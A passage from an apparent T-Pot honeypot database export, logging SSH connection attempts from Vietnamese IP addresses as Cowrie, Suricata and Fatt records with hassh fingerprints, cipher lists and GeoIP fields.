"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22701	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:22.755511+03	2021-09-20 14:15:06.55147+03	{"_id": "VAbjAnwBvYTbRNuEmwqV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "cfe69188ff37", "@version": "1", "duration": 2.697786808013916, "timestamp": "2021-09-20T11:07:22.755511Z", "@timestamp": "2021-09-20T11:07:22.755Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22702	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:23.11679+03	2021-09-20 14:15:06.55247+03	{"_id": "VgbjAnwBvYTbRNuEmwqV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "96e31054e8cb", "@version": "1", "duration": 3.4338293075561523, "timestamp": "2021-09-20T11:07:23.116790Z", "@timestamp": "2021-09-20T11:07:23.116Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22721	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:07:23.290257+03	2021-09-20 14:15:06.5795+03	{"_id": "hQbjAnwBvYTbRNuEngoN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 962420221336500, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 45058, "dest_port": 22, "timestamp": "2021-09-20T11:07:23.290257Z", "@timestamp": "2021-09-20T11:07:23.290Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22703	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:23.221406+03	2021-09-20 14:15:06.553472+03	{"_id": "VwbjAnwBvYTbRNuEmwqV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "c7c7fbdf7fe8", "@version": "1", "timestamp": "2021-09-20T11:07:23.221406Z", "@timestamp": "2021-09-20T11:07:23.221Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
22704	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:22.034434+03	2021-09-20 14:15:06.55547+03	{"_id": "YgbjAnwBvYTbRNuEmwqV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 38694, "timestamp": "2021-09-20T11:07:22.034434", "@timestamp": "2021-09-20T11:07:22.034Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22705	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:22.182521+03	2021-09-20 14:15:06.557471+03	{"_id": "ZAbjAnwBvYTbRNuEmwqV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 37968, "timestamp": "2021-09-20T11:07:22.182521", "@timestamp": "2021-09-20T11:07:22.182Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22706	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:22.310352+03	2021-09-20 14:15:06.558507+03	{"_id": "fQbjAnwBvYTbRNuEmwqV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "3c55230f4ee9", "@version": "1", "timestamp": "2021-09-20T11:07:22.310352Z", "@timestamp": "2021-09-20T11:07:22.310Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
22707	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:22.62724+03	2021-09-20 14:15:06.5595+03	{"_id": "fgbjAnwBvYTbRNuEmwqV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "8c04553a1997", "@version": "1", "timestamp": "2021-09-20T11:07:22.627240Z", "@timestamp": "2021-09-20T11:07:22.627Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22708	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:22.653209+03	2021-09-20 14:15:06.5605+03	{"_id": "fwbjAnwBvYTbRNuEmwqV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "bb4ff764e05a", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:22.653209Z", "@timestamp": "2021-09-20T11:07:22.653Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
22709	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:07:22.313837+03	2021-09-20 14:15:06.5625+03	{"_id": "aAbjAnwBvYTbRNuEmwqV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": 